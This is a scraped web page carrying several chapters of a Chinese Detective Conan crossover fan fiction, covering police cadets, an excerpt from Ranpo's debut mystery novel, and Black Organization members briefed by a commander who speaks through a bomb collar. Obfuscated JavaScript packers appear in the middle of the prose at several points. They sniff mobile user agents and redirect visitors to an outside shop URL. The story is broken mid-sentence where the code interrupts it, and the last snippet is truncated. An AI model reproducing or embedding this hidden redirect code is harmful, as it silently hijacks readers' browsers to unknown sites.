诸伏景光确认他们两人没什么大碍之后,才无奈苦笑地回应道,“遇上了火灾,背人出来的时候被燎到了,既然你们这么迟才出来,应该也碰见了那个犯人吧。” “原来如此!你今天出门是去了爱城公寓啊,小景光。” 萩原研二不太顺手地用左手臂搭上了诸伏景光的肩膀,暗暗想着这伤势真影响他增进友情。 降谷零也走了过来,不客气地说道,“还说没事,我记得出去前萩原可不是这幅造型。” “这个嘛,就说来话长了……”萩原研二顾左右而言他,省略了一大段内容后,正义凛然地总结了自己最在意的部分,强调道,“总之,是为了拯救小阵平留下的英勇伤势哦!” 松田阵平锤了萩原研二一拳,“虽然的确如此,但看你这幅得意洋洋的样子,还真是让人手痒。” 他留意到诸伏景光眼中微微显露出来的担忧,解释了一句,“医生看过了,没有伤到骨头,皮肉伤养几个星期就能好,不用给这家伙特殊照顾。” 知道萩原研二的手臂没什么大事,诸伏景光和降谷零也算是松了口气。 不过这下子警校日常的训练,萩原研二肯定要缺席了,等他好全了之后,大概会迎来鬼冢教官的魔鬼补课吧。 “说起爱城公寓,小景光你认识一个叫乱步的人吗?” 诸伏景光怔愣一下,意外于从萩原研二口中说出的这个名字。 “你在医院里碰见乱步了吗?” 在他离开之后,乱步竟然去了医院吗? 诸伏景光讶异,眉头不安地拧起,嘴角抿起,显出一丝紧绷的弧度来,是……因为他说的那些话吗? 虽然深深担忧着乱步那副丧气的状态,但诸伏景光也没有想要让他立即就重振旗鼓的意思,勉强着自己做不认同的事情,只会感到更多的痛楚。 只是不知道,乱步究竟是出于什么样的心情,才会插手这起案件。 “小景光果然认识啊。”萩原研二倒不怎么意外,或者说在看到诸伏景光脸上的神情时,他心中就已经有所猜测,“那真是个很厉害的人,多亏了他,事件很顺利地结束了。” 松田阵平抓了抓自己的一头卷毛,啧了一声,“那家伙可是留下了一大堆让人在意的谜团,然后自顾自消失了。” “所以,拜托你了,小景光。”萩原研二眨了眨眼,用出惯常的撒娇手段,“能不能帮我们跟乱步先生牵个线,见上一面呢?” 只是只言片语而已。 诸伏景光却情不自禁地想象出了江户川乱步推理时冷静而自信的模样。 他透蓝的眼眸柔软一陷。 每当这时候,他就会想起童年记忆里那个闪闪发光的小天才,虽然行走在常人无法触及的世界里,显得格格不入、有些脱节,但一颗心里却总是在意着别人,挺身而出时有种令人安心的可靠。 诸伏景光弯起了嘴角,“我会帮忙问问乱步的,不过,他是个特别怕麻烦的人,尤其讨厌不感兴趣的事情占据头脑,不一定会愿意。” 萩原研二不在意地挥挥手,“如果能见面当然最好了,不愿意而去勉强别人,这样的事情我也不会做的。” 松田阵平翻出了半月眼,“这种话你还真有胆说,究竟是谁每次都要把我拉去联谊会凑数?” 萩原研二掏了掏耳朵,若无其事地转移话题,“说起来,你和那个乱步先生时怎么认识的?” 他们一边聊着天,一边拦下了出租车。 “我和乱步是从小认识的幼驯染,不过搬家之后失联了很长一段时间,直到最近不久才重新联系上。乱步其实全名叫江户川乱步,他从小就是天才……” “——常人难以发觉的细节、常人难以看穿的联系、常人难以串联的线索,在他眼里就好像路边的野草般稀松平常。”降谷零坐在副驾上,头也没回地就接下了后面的话,“景,这种话我从小听到大,听得耳朵里都快起茧子了。” 诸伏景光被打断了话也不恼怒,悠闲而好脾气地开着玩笑,撩拨着降谷零,“因为都是事实嘛……难不成你吃醋了?” “怎么可能?”降谷零翻了个大大的白眼,“只不过觉得你对那家伙的滤镜未免也太大了,还是小心点好。” 萩原研二在跟松田阵平窃窃私语,“果然是吃醋了……太可怕了,那个零居然如此小肚鸡肠、斤斤计较,小心点,别让他误会我们要抢他的幼驯染……” 听得降谷零青筋暴起,猛一回头,恼羞成怒,“喂!” 他们四人笑笑闹闹一起乘着出租车回了警校,这份快乐在远远看到一个身形魁梧、凶神恶煞的身影正如同雕像般一动不动地伫立在警校门口时戛然而止。 松田阵平顿时浑身一僵,缩在出租车后座上浑身紧张,“喂喂,不是吧,这么迟了,那家伙还没睡吗?” 降谷零坐在副驾上正闭目养神,睁眼看见鬼冢教官也不惊讶,淡然说道,“也不稀奇吧,你们两个不仅没按规定时间回来,还失联了,鬼冢教官担心到睡不着觉也很正常。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582618|186987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心!到!睡不着觉! 这几个词放在谁身上都不奇怪,唯独跟鬼冢教官组合起来,光是想想就让人浑身起鸡皮疙瘩。 萩原研二单手搓了搓自己的胳膊,干笑着,“别说这种恐怖故事啦,小降谷。” 诸伏景光皱起眉来,看上去有些惭愧,“零,我们也是没有请假擅自跑出来的,肯定也让鬼冢教官担心了。” 降谷零浑身一僵。 他完全忘了,自己也在鬼冢教官等候多时的范畴之内! 他们四人下了出租车,视死如归般缓慢地腾挪到了鬼冢教官的面前。 肌肉发达、一脸凶相的教官很冷静,平和而友善地问候了一句,“回来了?” 擅长交际、同时还有着伤残人士buff的萩原研二率先辩解,“鬼冢教官,您先冷静下,我们这么迟回来是有原因的!” “关于这件事情,我已经知道了。” 鬼冢教官深吸了一口气,平静的表相碎裂开来,才终于露出了下面暴怒险恶的真面目,“松田!萩原!你们竟然敢擅自插手爆炸犯的逮捕行动,知不知道一不小心你们两个臭小子就连警校都还没毕业就得殉职了啊!!” “给我!写一万字的检讨!加打扫六个月的澡堂!好好反思一下!” 降谷零和诸伏景光屏住呼吸,站在一边,连大气都不敢喘,即便如此,也没能如愿以偿地被鬼冢教官遗忘掉。 面目狰狞的恶鬼猛地朝他们两人拧头看去,无情地宣判,“还有你们两个没有请假、擅自出校,也一起连坐!!” 四个不听话的小子不敢反驳,甚至都不敢指正。 再有两个月他们就从警校毕业了,哪有什么六个月的惩罚期啊。 ——“昨天竟然还有这么一出惊心动魄的故事啊。” 热气蒸腾的澡堂里,伊达航摸了摸自己的下巴,有些可惜,“哎呀,娜塔莉难得来东京一趟,我肯定要去跟她约会,没想到正好错过了。” 悠闲地坐在一旁翘二郎腿的伊达航面前,其他四个人正大汗淋漓地打扫着澡堂,连一手吊着绷带的萩原研二都不例外,在单手操作着拧拖把。 “听起来完全是在炫耀呢,班长。”萩原研二吐槽道。 “怎么会?”伊达航笑了起来,“不过那个江户川乱步真的这么厉害吗?竟然能这么准确地预料到之后会发生的事情,有这样的能力不来当警察可惜了。” “我也是这么认为的,不过真遗憾,乱步的确没有当警察的意愿。”诸伏景光将一桶脏水提出去倒掉了,回来的时候额头上满是细汗,“他现在是推理小说家。” 萩原研二来了兴趣,“什么什么!我对推理作品也挺有兴趣的,但是没注意到有叫江户川乱步的小说家,是用了笔名吗?作品叫什么吗?” “是我说错了,纠正一下,是未来的推理小说家。”诸伏景光笑了下,“如果我没记错的话,作品是叫《菰野町连环谋杀案》,应该马上就要作为处女作出道了。” “那还真是让人期待啊!”伊达航说道。 不是马上上架,而是已经上架了。 在警校生们还在封闭训练的间隙里,那本小说已经悄无声息地蒙上了透明轻薄的塑料保护膜,贴上了明码标价的价签,与所有商品别无两样,陷阱般危险地夹杂在形形色色的书籍之中,正充满耐心地等候着它的猎物。 江户川乱步站在书店里,随手取下了一本试阅书,静静翻看着。 那是已经遥远到无人知晓的故事了,一锹、一锹掩埋在了湿润腥气的泥土里,如果没有江户川乱步连每一根手指都死死掐定、固执地紧握着那些曾经也闪耀过的碎片,或许连他们曾经活过的证明此时也早已不在。 14.第 14 章(其三) 『父亲在接到一个电话以后出门了,而我也趁机溜了出去。 我准备要去案发地看看,寻找更多的线索。 推理出这起案件的发生地对我而言并不难,报纸、新闻、父亲前些天的行动与电话留言……将所有这些线索串联起来。 我去往了那间楼房。 房门上了锁,但为了通风,驱散那些弥漫在屋子里的腐臭气,在面朝走廊的厨房有一扇窄小的窗户开着,我爬了进去。 比起言语来,实地拥有更丰富的、明晃晃彰显着犯罪者一生的线索。 违禁药物获得、社会关系缺失、童年创伤、渴望肯定的、身高150-160公分间、矮小、男性、体重70-90千克间、肥胖、自卑、热爱影视作品、对猎奇向作品兴趣浓厚的、行动力强、独居、与固定关系人有联络的…… 那些痕迹转换为具象的词汇在我的脑海之中一一闪现,一个犯罪者的形象随之成形。 最后,我去往了那间死亡发生的浴室。 一切证物都被警视厅取走了,现场只留下胶带贴出的白线方框,标注着证物最开始的位置。 带着数字的三角号码牌稳固地立在原地,让我得以复现现场的状况。 空荡荡、只摆满了三角立牌、贴满了白线胶带的浴室里,最多的,是干死的蚯蚓,被一脚踩扁了,或是断成两三节,就在这间浴室里渐渐风化,失去了所有水分的尸体比齑粉坚硬不了多少,像某种奇异的文字般,蜷曲着铺满原先浴缸的位置。 我凑近去看,注意到,墙壁上原本蒙着一层灰黄水垢的位置,有许多杂草般凌乱又毫无规律的划痕。 我凝神注目着那些痕迹,忽然意识到了什么。 一阵不堪细思的惊悚之情从我的脊髓蔓延上来。 ——他还没死。 ——在撞断了颈椎、全身瘫痪的境况之下,他依旧苟延残喘着,存活了几日。 ——那是粗硬发茬在抽搐与挣扎时所留下的绝迹。 原来如此。 被雇主用巨额的资金所买下来的商品,是他自己。 我将一切线索都串联了起来,在推敲出事情的真相以后,再倒过去寻找线索,就变得无比简单。 夹在录像带里那些意味不明的数字,各种容器搬离后留下的印记旁突兀的三角圆点,那些囤积在衣橱深处的泡沫缓冲膜,桌子上所残留下的台式电脑的防滑胶印…… 这里并不是什么犯罪现场,而是一个生产着猎奇影片的地下工厂! 利益藏身之处,罪恶就会滋生。 筛选产品、雇佣作者、拍摄作品、销售变现…… 能够在背后支撑着这样危险而成熟的产业链的股东,他所拥有的地位、权势与能量绝非父亲一人能够抗衡! 最能说明问题的标志就是,这是一起已经结案的杀人案。 我仍能回忆起报纸上对这起案件的表述:“……专案组成立后,迅速出击,仅用一个星期的时间便成功侦破此起影响极其恶劣的谋杀案,彰显了过硬的刑侦技术与正当的办案程序。” 一个星期不足以挖掘出整条犯罪链,即便是如父亲那样的天才刑警参与其中,也绝无可能!但却已经足够将真相掩埋、让证人沉默。 我想起了父亲离开家前接的那通电话。 心跳如杂草般躁乱不堪。 仓惶着,我逃离了这间罪恶的屋子,从未有过的强烈预感告诉我,父亲已然走到了摇摇欲坠的悬崖边上。 快点、再快点。 天气真不好啊。 夏日的雷阵雨来得这样突然,像阵狂风忽然袭击了整座城市,街上形形色色的人们泡影般破灭,失散在城市看不见的角落,被丢弃的垃圾满地翻滚,又死鱼般被拍打在水泥路面。 我在大雨的街道上胡乱地奔跑着,张开嘴,呼吸不到氧气,只有寡味的雨水流淌进喉咙,冰冷又滂沱的雨水带走了所有体温,骨骼肌不自觉地颤抖着,维持着生命的热量。 公用电话亭是随处可见的,我拉开玻璃门,躲进这大雨里唯一的干燥之地,湿漉漉地往投币口塞进去了一枚硬币。 复杂的数独游戏我可以在一分钟内破解,但十一位的电话号码我却一概记不住,所幸,因为深知我匮乏的独立性,母亲为我写了张纸条,将家庭住址和父母的联络方式塞进了挂坠里,这样,即便我在外迷失,只要向人求助就能回家了。 雷雨天气的信号总是那样不好,滋滋声响了十几秒钟,电话才终于被接起来。 父亲低沉的声音传来,他似乎从未质疑陌生的电话号码,或许极限时刻人就会迸发出某种预知命运的灵感,他开口。 “是乱步吗?” “不要继续查下去了,爸爸!”我急切地尖叫,“快回家吧!” 在说出这句话时,我已然抛弃了侦探的正义,近乎哀求。 他沉默着,“……来不及了,乱步。” 某些疲惫无比的情绪在电话线里蔓延,对那些人类情感向来迟钝的我,偏偏这一刻无比敏锐,我察觉到,在离开家的短短两个小时里,父亲的精神、信念和长久以来积攒起的荣耀,全部都被击碎了。 他最终说道,“让事情到此为止吧。” “闭上眼睛,捂上耳朵,就当做一切未曾发生,忘了我吧。” “照顾好妈妈。” 电话亭外,寂静的闪电亮了一瞬。 天上的惊雷怒吼与电话筒里传出的遥远巨响同时刻在我耳边响起。 嘟、嘟—— 电话挂断了。 我呆呆立在不足一平米的电话亭。 滂沱的大雨连成坚不可摧的雾白屏障,将我困在这里,与整座城市孤立。 不知为何,我的脸颊上淌满了温热的泪水,跟冰凉的雨水混合在一起,在皮肤上逐渐干涸,带来那样粘稠的讨厌触觉。 ——《菰野町连环谋杀案》其三』 。 每一段文字都如同往日再现般历历在目,那些早已经埋进坟墓里的东西带着陈腐气息再次从土里复苏。 诸伏景光恰巧在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江户川乱步撇了撇嘴,拿起了放在宣传板旁边的彩色粉笔。 他在那块宣传板前伫立了一会儿。 等他拍了拍手上的粉末、大摇大摆地离开了以后,门口的风铃随风摇摆,叮铃铃作响,将书店老板从浅眠中叫醒,他睁着朦胧的睡眼,望向橱窗外,才看见宣传板前站了一堆人窃窃私语,还有两个打扮时髦的女子高中生正笑闹着举着手机拍照。 书店老板奇怪地走出去,挤到人群的最前方,看到宣传板后眼睛登时睁大了,气愤地怪叫着,“可恶!是哪个臭小子在我的宣传板上乱涂乱画!全部重新用粉笔写一遍的工作量很大啊!” 只见。 宣传板上原本中规中矩的新书宣传语被画了个大大的红叉,又用嚣张的语气在上面写了一句话,用箭头直直地指向了角落里的小小方块。 【只用看这本!世界第一推理小说家的首作!】 15.第 15 章 当时任谁看都只是不识好歹的大话,却在不久之后变为了现实。 如同忽如其来的一阵风刮过旷野般,一夜之间,数不清的名流作家、上层人士公开赞美了这本作品,连官方媒体都不吝笔墨写下长长的书评,为作品的推广出一份力。 连在封闭训练的警校中都听闻了他的名声。 因为作恶多端又在惩戒期、彻底在鬼冢教官这里失去了信用的四人,已经拿不到请假条了,即便是周末也只能窝在警校的宿舍楼里,全靠伊达航一人出去帮他们采购。 “我想你们可能会对这个感兴趣。” 伊达航回来的时候,一手拎着生活用品,一手抱了个鼓鼓囊囊的纸袋,里面是包裹着塑封的崭新小说,锋利的四角几乎要把纸袋割破。 他放下了生活用品,“你们看看,有没有缺的。” 又随手抽出一本来递给了诸伏景光,揶揄道,“这不是你的朋友写的吗?得好好支持才行吧。” 诸伏景光犹豫一下,伸手接了过来,“多谢班长了。” 他的心情最近不是太好,这是与他亲密的四人都看得出来的事情,原因也很简单,除去江户川乱步之外别无他想。 刚刚重逢的幼驯染突然搬家,没有告诉他新地址,只轻描淡写地说用邮件保持联系,再结合之前发生的事情,很难不让人怀疑是在故意逃避他。 诸伏景光并没有为此生气,甚至很能理解江户川乱步不想面对他的心情,现在想来,他当时说的那些话或许真的给乱步带来了某种难以排解的压力感。 乱步只是需要些时间来积蓄勇气而已,他一定能重新抬起头来,直面自己内心深处的伤口。 诸伏景光一直这样坚信着。 他攥紧了手中封皮崭新、边角锐利的书籍,这份轻飘飘的重量却让他略微升起期盼。 文字是笔者内心的倒影。 通过阅读这些从乱步内心流淌出来的文字,他或许能接近一点、更接近一点乱步真实的感受。 松田阵平挑拣出了自己拜托伊达航代买的创可贴和牙膏,毫不客气地自己伸手在塑料袋里掏出了一本来,“谢了,班长。” “我可没说要给你哦,松田,你这小子也太理所当然了吧。” 松田阵平毫不在意,“正好五本,不给我还能给谁?” 他撕开了塑封,看着小说封面上标注的作者名,想起见面邀约被拒绝的事情,又不爽了起来,啧了一声,“这家伙还真是个彻头彻尾的神秘主义者,窝在自己的地盘一动不动。” “神秘主义者可不会将自己的大名就这样印在封皮上到处传播哦。” 降谷零刚洗过澡,顶着毛巾,带着一身湿润的水汽,伸手取走了自己那本,“景,你最近还有在跟那家伙联系吗?” 诸伏景光回过神来,慢了半拍回应降谷零的话,“……最近的话,临近毕业,事情比较多,所以联络也变少了,不过,我发过去的邮件乱步都有好好回应,应该算得上是好事吧。” “嗨呀,不要掺和进别人的感情纠缠里哦,小降谷,会变得不幸的~” 萩原研二一张嘴就带着让人生气的轻佻感,他双臂一撑,一只搭在松田阵平肩头,一只搭在降谷零肩头,从中探出那张花花公子般俊秀的面孔,带着盈盈的笑意开口道,“说起来,你们有确定要去哪里了吗?我和小阵平都收到了机动队爆炸.物处理班的邀请,嘛,大概率就去这里了。” 伊达航摸了摸自己的下巴,“我的话,倒是对刑事案件比较感兴趣,估计会去刑事部搜查课吧。” 诸伏景光有些犹豫,他的确是收到了某个机密部门的邀请,但还在思考着是否要答应,“……我的话,还没有想好。” 降谷零跟其他四人不同,是通过警察厅考试进入警校的,而且是职业组,毕业后立即就会成为警部补,不出意外的话今后的职业生涯就以成为其他人的顶头上司为目标努力工作。 “我去哪里都无所谓,不过最近警察厅警备局接触过我,有可能毕业后就在警备企划课工作了。” “不愧是第一名的长官大人,”萩原研二坏笑着用手肘杵杵降谷零的手臂,促狭道,“就是有气魄!” “真是的,不要戏弄我了。”降谷零无奈道。 降谷零在用余光瞥着诸伏景光。 黑发蓝眼的青年还是照常温和的样子,淡淡地微笑着,认真聆听着友人们的笑谈,时不时也会插话,但眉宇之间总是不自觉地笼着一层暗淡无光的薄雾,好像有什么沉甸甸的心事压在胸腔之中,让他有些喘不过来气。 他最近总感觉诸伏景光有些不对劲,低落、不安之外,似乎还有着更深的焦躁,是因为江户川乱步、还是毕业选岗的事情,抑或是两者皆有,他分辨不出。 但这两件都是私人的事情,即便是再好的朋友,在对方没有开口求助之前,似乎也没有任何立场和理由贸然插手。 就好像刚刚对气氛敏感的萩原研二打断了对话一样,或许,还是给诸伏景光一些独自思索的空间会更好些。 。 诸伏景光最终还是决定接受公安部的邀请,深潜入社会的暗面中,成为不见光的卧底。 ——在看过那本小说之后。 。 咔哒、咔哒、咔哒哒哒哒哒。 “我说,贝尔摩德。” 组织的某个据点里,眼下有着凤尾蝶纹身的女人忍无可忍地放下了保养枪支的润滑油,神情不爽地指着她捏在手中的翻盖机,“从刚才起就一直不停地咔哒咔哒按着键盘……超级吵诶!马上要出任务的这种时候能不能专心点!别做跟任务无关的事情了!” “这可不是跟任务无关的事情哦,基安蒂。” 贝尔摩德轻笑一声,舒展腰肢,直起身来,她晃了晃手上的翻盖机,漆亮的红指甲在酒馆昏黄的灯光下格外显眼,晃得那上面收件人的代号模糊不清。 她又泄了气般,重新重重摔进了柔软的沙发上,懒洋洋地说,“我可是在劳心费力地接收指挥官的命令,制定接下来的行动计划呢。” 贝尔摩德仔细想了想,又恍然大悟,“对哦,你们应该还不知道吧——这次的行动,拉门尼也要参与。” 拉门尼。 听到这个代号,基安蒂的瞳孔紧缩,神色扭曲了一瞬。 短暂的空白后,她猛地站起身,不理智地大吼起来,“开什么玩笑!可没有人跟我说过这种事啊!这次的任务你们换人吧,我和科恩不会参加的!” 一直默默在角落里清点弹药数量的科恩身体也僵硬了一瞬,阴鸷的眼神瞥向贝尔摩德,“这和,说好的,不一样。” 贝尔摩德耸了耸肩,摊开双手,无辜地说,“这种事情你们跟boss说就好了,真是搞不懂你们,拉门尼明明是这么可爱的孩子,为什么要排挤他呢?” “可爱?贝尔摩德你真是疯了,竟然说那种怪物可爱!” 怪物,没错,在基安蒂看来,同为组织代号成员的拉门尼是个常人难以理解的怪物。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594038|186987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关拉门尼的传闻在组织里流传已久了,有人说他是组织的实验体,有着超出常人百倍的观察力和思考能力,只能在特制的房间里生活;有人说他是天生的超能力者,被组织发掘之后拘禁使用了起来;有人说他是智慧超群、博闻广识的老人,身体虚弱、无力养老因此为组织效力。 所有纷纷扰扰的传闻都绕不开一个共同的特质——拉门尼有着极其可怕的头脑,在他的面前,一切秘密都无从遁形。 基安蒂深深体会过那种不讲道理的才能。 最初,她和科恩都在意大利地区活动,同为优秀的狙击手,自然而然地组成了互相弥补空缺的搭档,在里世界打出了名声,刚刚被招揽进组织,拿到了代号,正摩拳擦掌地准备大干一场,就遇见了拉门尼。 那是一次暗杀任务,任务目标是意大利政府高层的某位官员,由远在日本的拉门尼担任指挥官。 他甚至从未踏足过意大利的土地,仅凭她身上携带的微型摄像头的视角,就通过一处不合理的安保安排、一段被刻意抽帧的监控视频、一枚无意遗失的戒指抽丝剥茧地推理出对方的整个撤退计划。 精准无比地预料到了敌人最后的留守地,在那里安置了定时炸弹,仿佛操控着命运的上帝般,冷眼看着他们在希望最旺盛的喜悦时刻,迎来了逃无可逃的死亡。 ——犹如侦探小说中的犯罪顾问般,那看透一切的敏锐头脑、精妙绝伦的死亡设计和高级非凡的操作手段,将所有人视作棋子般随意操纵的傲慢与自负,简直就是基安蒂最欣赏的犯罪者类型! 如果仅仅只停留在这里的话,恐怕基安蒂只会盛赞着拉门尼的洞察力和智慧,期待着下一次愉快的合作。 将一切反转的败笔在于任务结束后、通讯中断前拉门尼的那段话。 “基安蒂。” 被变声器扭曲了的、听不出性别和年龄的刺耳声音带着电波的无机质,仿若从地狱传来的通讯般,毫无波动地从她耳朵里塞着的通讯器里响起。 “你的手抖了。” “看来停止服用镇定药物的戒断反应比你预料的更严重,在你因为这种可笑的失误害死自己或是科恩以前,去组织的研究所全面检查下吧。” “真是的,以你的年龄来看,也是时候从父亲的噩梦里走出来吧,那只不过是你亲手击毙的败犬而已。” 那语气之中似乎带着困顿不解的恹恹,仿佛并不知晓被自己撕开伤疤的人有多么疼痛般,只是轻飘飘地将手指扣进了那血淋淋的伤口之中,带着恶意般一下下地深挖。 滋啵一声后,通讯中止了。 基安蒂却如坠冰窟般毛骨悚然。 拉门尼,那家伙只不过通过她脖颈的微型摄像头观察了两天而已。两天时间,一次稍微艰难点的狙击任务,光是蹲点等待合适的狙击点位出现都不止两天。 那个躲在别人背后指挥的阴暗家伙到底看到了什么?他怎么会知道那件她连科恩都没有告诉过的事情?他为什么要特意在这时候在公共频道里说出这件事情? 基安蒂听见自己牙齿紧咬的咯吱声,看见落过雨的街头水坑倒映出她急速紧缩的瞳孔里,弥漫开来的野兽般的狂怒。 那是嘲讽或是提醒,已经无所谓了。 她对拉门尼残存的好感已经荡然无存,现在余下的,只有杀意沸腾。 “——你们在吵闹些什么?” 琴酒大步走进酒馆里,森然的绿眸扫过在场的代号成员,很不满意他们表现出来的专业素养,“想死吗?” 16.第 16 章 琴酒一来,就给这个小小的酒馆带来了某种死寂的恐怖氛围,即便暴躁如基安蒂都知道,如果她这时候提出来要退出行动,琴酒立刻就会毫不吝啬地赏她一颗子弹。 基安蒂啧了一声,没再说什么,科恩也变得一声不吭,贝尔摩德点燃一根女士香烟抽了起来,带着调侃意味悠闲地问道,“这次的拉门尼之眼呢?” 慢琴酒一步的伏特加走了进来,身后正带着个生面孔,他任劳任怨地介绍道,“诸星大,行动组的新人,擅长狙击,这次负责,呃,”他的神情扭曲了一瞬,还是将那个组织内公认的晦气称号说了出来,“拉门尼之眼的位置。” 那个新人沉默着上前一步,谨慎地观察着在场的代号成员,“请多指教。” 他是个男性,却有着一头漆黑的长发,天生卷曲的额发搭在硬朗的颧骨,给他带来一丝不羁的野性意味,有着一双跟琴酒很像的森绿色眼眸,连带着冷淡的气质都很相似。 最引人注目的却是他脖颈上扣着的漆黑色项圈,正中间的摄像头正折射着黯淡的光亮,不出意外的话,里面还装着足以将他的脑袋炸烂的微型遥控.炸弹。 “哈哈,哈哈哈哈哈哈!” 基安蒂幸灾乐祸地笑了起来,此刻以饱含恶意的语气给新人献上了自己最真诚的祝福,“给你个忠告,新人!你最好祈祷自己没什么见不得人的秘密,如果有,那可要记得藏好点。” 她的瞳仁很小,因此显得疯狂而兴奋,“要是一不留神被拉门尼抓住了破绽,那家伙可不会在意场合和时间,你的脑袋立刻就会嘭——!!” 基安蒂五指弹开,做了个爆炸的手势,竟然露出了那样有些期待的神情,“——像烟花一样炸开!上次见到这种场景还是两年前呢,眼球拖着视神经被炸飞到半空、脑浆噼里啪啦掉了一地的景色真是太壮观了,是吧,科恩?” 科恩慢吞吞道,“最好,还是,不要。”他面无表情的脸色在回忆起那一次任务时,隐隐发青,“我们,可是差点,没逃出来。” 基安蒂撇撇嘴,“科恩你还真是没意思啊。” 虽然讨厌拉门尼那让人恶心的观察力,但与组织里大部分人的共识一样,基安蒂唯独承认拉门尼一点。 “只是差点没逃出来而已,我们现在不是活得好好的吗?拉门尼的计划是不会出错的。” “——无聊的寒暄还是到此为止吧。” 从诸星大的项圈里传出来无机质的电波音,却莫名能感觉到一点对方的不满,嘀嘀咕咕的声音里还夹杂着咔擦咔擦吃东西的声音。 “真是的,不要因为我不在场就无视我的存在,跟新人打招呼的同时(嚼嚼)也要好好问候我才对吧?” 琴酒不耐烦地打断了拉门尼的抱怨,“别废话。” “真没耐心,琴酒。” 除去基安蒂以外,没有人再在意诸星大的存在。 这很好。 诸星大想着。 他的心跳很平稳,没有因为基安蒂的恐吓而产生失速,头脑也很清醒,几乎是立即就从脑海里调取出了曾经阅读过的资料。 拉门尼,组织里从未露面的犯罪顾问、指挥官和情报官,大约十年前开始活跃在日本地区,偶尔插手其他地区的重要犯罪活动或大型行动计划。 从基安蒂的话里可以分析出,两年前的某个组织策划的犯罪活动中有拉门尼的身影,在这次活动之中某个犯罪分子失去了头颅,有明确的时间点和独特的记忆点,只要搜索全球犯罪事件就应该能找出档案…… 贴着他大动脉的项圈随着拉门尼的声音不断产生微弱的震动感,打断了他的思考。 诸星大微微吸了口气,给自己紧张的肺部补充一点氧气,他忽然意识到,置身这样随时会被夺去性命的危险处境,一个刚刚加入的街头混混,绝不能表现得如特工般冷静。 他数着自己的心跳,让它稍微加快加重些。 在场所有人的手机都响起了邮件提示音,随之响起的是拉门尼冰冷的电子音,“好了,这次任务目标的照片和详细资料都已经发送到你们的邮件中了,给你们五分钟的时间,记住关键信息。” 诸星大也随大流地拿起手机查看邮件,他观察着其他人眼球转动的次数,发现自己收到的资料大概率是阉割版,只有最基础的信息,连带着阅读信息的时间都比其他人少很多。 看来是他还不够受信任,这也是意料之中的事情。 不过,以拉门尼表现出来的组织地位,如果能熬过今天这一关,起码他对组织的忠诚度不会再被质疑。 “哼哼,时间到,接下来就由我拉门尼大人来说明一下这次的任务吧。” 贴着喉结传出冰冷的电子音,偶尔会让诸星大恍惚以为是自己发出的声音,他意识到,自己在这次任务之中唯一的作用就是充当拉门尼的替身,帮不在现场的拉门尼实时观察情况。 比起他狙击手的定位,在这里,在其他代号成员眼中,他更像是一个会自主跟随的监控摄像头,一个随时可以牺牲的底层成员。 没有人会将他看在眼中,除了必须要通过他脖颈上的项圈观察外界一切信息的拉门尼。 要想在这次任务之中体现出自己的价值的话,就得讨好拉门尼。 拉门尼……撇开那些冰冷冷的情报之外,究竟是个怎样的人呢? “草野礼佑,男,41岁,药物研发处研究员,一个月前曾提出想要退出组织,半个月前秘密跟公安机关人员会面,三天前在销毁权限内所有药物研究资料后失踪,监控数据恢复查证后发现,他带走了装有秘密资料的u盘。” 诸星大快速回忆起自己所接收的那些资料,他所能够知晓的全部内容就是拉门尼所说的概况了。但能出动这么多的代号成员只为了夺回他手中的秘密资料,想必草野礼佑这个人对于组织而言,有着特别的重要价值。 不过作为组织的新人,临到任务开始前想要将情报透露出去,不仅成功的概率很小,而且风险也极高。 诸星大的手不由自主地调整了下卡住脖颈的冰冷项圈,他还没忘记,这中空的装置里,可能还装着威胁他生命的遥控.炸弹。 “这次的任务就是回收u盘,并清理掉组织的叛徒草野礼佑。” “比较棘手的地方在于绕过公安的保护和找到草野礼佑藏匿u盘的地方,在拿到u盘以前草野礼佑绝不能死,这一点请明确,在我下令以前就动手的人,我会视作叛徒对待。” 拉门尼说,“不过,不用担心,只需要放弃思考,把你们的力量交给我就好,所有的一切,都会非常顺利地结束的。” 拉门尼无比平淡地说出了这句话,而其他人也习以为常地接受了。 似乎只有诸星大在为此提心吊胆、疑神疑鬼,他在心中咂舌,搞什么,拉门尼这不是什么计划都没有说吗?他们这群人就这样接受了吗? “贝尔摩德,按照我们之前商量的来,你单独行动。伏特加,把通讯耳机分发下去,接下来我要切换加密频道了。基安蒂和科恩去邮件里的指定地址架设好狙击点位。琴酒和伏特加开车佯攻引开公安的外围力量。” “至于琴酒二号……”拉门尼的语气之中带着某种令人心颤的玩味,“你就跟着琴酒和伏特加这组行动吧!” “记得不要脱队,你现在还不是受信赖的身份哦。” 诸星大稍微反应了一会儿,才意识到琴酒二号是在叫自己。 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 